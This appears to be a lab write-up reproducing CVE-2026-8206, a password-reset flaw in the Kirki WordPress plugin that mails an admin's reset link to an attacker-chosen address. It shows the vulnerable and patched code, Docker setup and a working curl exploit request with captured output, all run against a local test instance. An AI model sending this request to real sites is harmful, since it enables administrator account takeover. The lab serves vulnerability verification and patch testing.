vulnerable => reset link for admin is sent to [email protected]
patched    => mismatched email is rejected and no reset email is sent to [email protected]

/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password

wp-content/plugins/kirki/ComponentLibrary/controller/CompLibFormHandler.php

$email = isset( $form_data['email'] ) ? sanitize_email( $form_data['email'] ) : '';

$key = get_password_reset_key( $user );

$sent = wp_mail( $email, $email_subject, $email_body, $headers );

username=admin
[email protected]

$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    // reject request
}

$email = $user_email;
$sent  = wp_mail( $email, $email_subject, $email_body, $headers );

artifacts/vuln-mail/
artifacts/patched-mail/

.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── docker/
│   ├── capture-mail
│   └── mail-capture.ini
├── scripts/
│   └── setup-wordpress.sh
├── poc/
│   ├── poc_local.py
│   └── run_lab_poc.sh
├── docs/
│   └── notes.md
├── SAFETY.md
├── README.md
└── .gitignore

python3 -m pip install requests

docker compose up -d --build

docker compose run --rm wpcli_vuln
docker compose run --rm wpcli_patched

chmod +x poc/run_lab_poc.sh
./poc/run_lab_poc.sh

[+] request: http=200 body='{"message":"Email sent"}'
[+] mail_state=MAIL_TO_ATTACKER_WITH_RESET_LINK: reset link sent to attacker-controlled email
[+] verdict=VULNERABLE_BEHAVIOR_CONFIRMED
    To: [email protected]
    Subject: CVE-2026-8206 local lab proof

[+] request: http=404 body='{"message":"Invalid email address"}'
[+] mail_file=none
[+] mail_state=NO_MAIL: no captured reset email
[+] verdict=PATCHED_BEHAVIOR_CONFIRMED_NO_RESET_MAIL_TO_ATTACKER

NONCE="$(docker compose run --rm --entrypoint wp wpcli_vuln eval 'echo wp_create_nonce(KIRKI_COMPONENT_LIBRARY_APP_PREFIX . "_kirki-forgot-password");' | tail -n 1)"

curl -i -s -X POST "http://127.0.0.1:8081/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password" \
  -H "X-WP-Element-Nonce: $NONCE" \
  -d "username=admin" \
  -d "[email protected]" \
  --data-urlencode "emailSubject=CVE-2026-8206 local lab proof" \
  --data-urlencode 'emailBody=[{"type":"text","value":"Local lab reset link: "},{"type":"chip","value":"reset_link"}]'

grep -R "^To:\|action=rp\|login=admin" artifacts/vuln-mail/

To: [email protected]
... action=rp ... login=admin ...

docker compose down -v --remove-orphans
rm -rf artifacts/vuln-mail artifacts/patched-mail